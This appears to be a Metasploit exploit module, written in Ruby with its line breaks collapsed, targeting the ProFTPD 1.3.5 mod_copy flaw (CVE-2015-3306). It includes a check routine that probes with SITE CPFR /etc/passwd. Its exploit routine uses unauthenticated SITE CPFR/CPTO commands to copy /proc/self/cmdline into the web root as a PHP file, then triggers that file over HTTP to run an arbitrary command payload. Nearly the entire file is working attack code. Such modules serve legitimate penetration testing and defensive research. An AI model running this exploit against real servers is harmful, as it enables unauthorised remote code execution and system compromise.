## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking include Msf::Exploit::Remote::Tcp include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'ProFTPD 1.3.5 Mod_Copy Command Execution', 'Description' => %q{ This module exploits the SITE CPFR/CPTO mod_copy commands in ProFTPD version 1.3.5. Any unauthenticated client can leverage these commands to copy files from any part of the filesystem to a chosen destination. The copy commands are executed with the rights of the ProFTPD service, which by default runs under the privileges of the 'nobody' user. By using /proc/self/cmdline to copy a PHP payload to the website directory, PHP remote code execution is made possible. }, 'Author' => [ 'Vadim Melihow', # Original discovery, Proof of Concept 'xistence ' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2015-3306' ], [ 'EDB', '36742' ], [ 'URL', 'http://bugs.proftpd.org/show_bug.cgi?id=4169' ] ], 'Privileged' => false, 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Payload' => { 'BadChars' => '', 'Compat' => { 'PayloadType' => 'cmd', 'RequiredCmd' => 'generic gawk python perl netcat' } }, 'Targets' => [ [ 'ProFTPD 1.3.5', {} ] ], 'DisclosureDate' => '2015-04-22', 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS] } ) ) register_options([ OptPort.new('RPORT', [true, 'HTTP port', 80]), OptPort.new('RPORT_FTP', [true, 'FTP port', 21]), OptString.new('TARGETURI', [true, 'Base path to the website', '/']), OptString.new('TMPPATH', [true, 'Absolute writable path', '/tmp']), OptString.new('SITEPATH', [true, 'Absolute writable website path', '/var/www']) ]) end def ftp_port datastore['RPORT_FTP'] end def check sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port) if sock.nil? return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server") end vprint_status("#{rhost}:#{ftp_port} - Connected to FTP server") # Set 30 second timeout to allow remote server time to perform reverse DNS lookup res = sock.get_once(-1, 30) unless res && res.include?('220') return CheckCode::Safe("#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end sock.puts("SITE CPFR /etc/passwd\r\n") res = sock.get_once(-1, 10) if res.nil? return CheckCode::Unknown("#{rhost}:#{ftp_port} - Failed to connect to FTP server") end if res.include?("500 'SITE CPFR' not understood") return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command not supported") end if res.include?('530') return CheckCode::Safe("#{rhost}:#{ftp_port} - SITE CPFR command requires authentication.") end if res.include?('350') return CheckCode::Appears("#{rhost}:#{ftp_port} - Unauthenticated SITE CPFR command was successful") end CheckCode::Safe ensure sock.close unless sock.nil? end def exploit get_arg = rand_text_alphanumeric(5..7) payload_name = rand_text_alphanumeric(5..7) + '.php' sock = Rex::Socket.create_tcp('PeerHost' => rhost, 'PeerPort' => ftp_port) if sock.nil? fail_with(Failure::Unreachable, "#{rhost}:#{ftp_port} - Failed to connect to FTP server") end print_status("#{rhost}:#{ftp_port} - Connected to FTP server") # Set 30 second timeout to allow remote server time to perform reverse DNS lookup res = sock.get_once(-1, 30) unless res && res.include?('220') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure retrieving ProFTPD 220 OK banner") end print_status("#{rhost}:#{ftp_port} - Sending copy commands to FTP server") sock.puts("SITE CPFR /proc/self/cmdline\r\n") res = sock.get_once(-1, 10) unless res && res.include?('350') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from /proc/self/cmdline") end sock.put("SITE CPTO #{datastore['TMPPATH']}/.\r\n") res = sock.get_once(-1, 10) unless res && res.include?('250') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying to temporary payload file") end sock.put("SITE CPFR #{datastore['TMPPATH']}/.\r\n") res = sock.get_once(-1, 10) unless res && res.include?('350') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying from temporary payload file") end sock.put("SITE CPTO #{datastore['SITEPATH']}/#{payload_name}\r\n") res = sock.get_once(-1, 10) unless res && res.include?('250') fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure copying PHP payload to website path, directory not writable?") end sock.close register_file_for_cleanup("#{datastore['SITEPATH']}/#{payload_name}") uri = normalize_uri(target_uri.path, payload_name) print_status("Executing PHP payload #{uri}") res = send_request_cgi!( 'uri' => uri, 'vars_get' => { get_arg => "nohup #{payload.encoded} &" } ) unless res && res.code == 200 fail_with(Failure::Unknown, "#{rhost}:#{ftp_port} - Failure executing payload") end end end